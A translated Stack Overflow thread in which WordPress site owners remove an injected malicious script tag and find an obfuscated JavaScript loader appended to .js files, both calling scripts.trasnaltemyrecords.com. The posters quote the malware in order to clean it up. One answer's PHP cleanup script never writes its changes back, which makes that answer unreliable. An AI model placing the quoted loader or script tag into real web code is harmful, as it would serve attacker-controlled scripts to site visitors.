在Linux中从多个文件中删除恶意软件代码行

3

最近我注意到所有我的WordPress网站都在所有index.php文件中注入了恶意软件。我已经确定了问题并进行了修补,但是我无法从文件中删除恶意代码行。我尝试了这个命令:

find . -name "*.php" -exec sed -i 's/<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>><//' {} \;

但是我收到了错误信息:

find: 缺少对“-exec”的参数

因此我猜测我有语法错误。请问您能否告诉我在所有文件中删除此行的确切命令:

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

你好,能告诉我你的网站托管在哪里吗?我在hostpresto遇到了同样的问题。WP版本为4.7.2。 - kimy82
6个回答

2

这是我使用的代码行,今天早上我也遇到了同样的问题。

    grep -rl "<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>" | xargs sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"

1

0

wordpress的temp-crawl.php引起了问题。

我在服务器上有wp和本地php站点。可疑的文件是index.*,它们都有上述脚本行。

此外,每个.js文件也被感染了。

还有一个文件在根目录中,wp-craft-report-conf.php必须被删除。

然后似乎一切都正常工作了。至少现在是这样。


0

我有同样的问题

  1. 我将 127.0.0.1 trasnaltemyrecords.com 添加到 /etc/hosts 中。

  2. grep -r * 'scripts.trasnaltemyrecords.com' > file_with_scripts.txt

  3. 使用此脚本,我删除了这个注入。

    $txt_file    = file_get_contents('file_with_scripts.txt');
    $rows        = explode("\n", $txt_file);
    array_shift($rows);
    foreach($rows as $row => $data)
    {
        $filename = $data ;
        $file = fopen($filename, 'rw');
        $contents = fread($file, filesize($filename));
        $new_content = preg_replace('/^<script(.*)script>/i', '', $contents);
        echo $new_content;
        fclose($file);
    }
    

如果您使用ACF,请检查您的数据库

同时在WordPress.org上查看这个主题

https://wordpress.org/support/topic/malware-found-injected-script/


你能检查一下这个脚本吗?当我尝试执行它时,会出现错误:./script: line 1: syntax error near unexpected token (' ./script: line 1: $txt_file = file_get_contents ('file_with_scripts.txt');' - blagoj-357

0

我遇到了同样的问题。 脚本不在文件中,而是在数据库中。

<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043' type='text/javascript'></script>

使用更好的搜索和替换插件将其替换为空白。


0

JS文件也受到影响。

我运行了find -type f -mtime -1,并发现这段代码已添加到所有的.js文件中。

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script');
s.type='text/javascript'; s.async=true; 
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接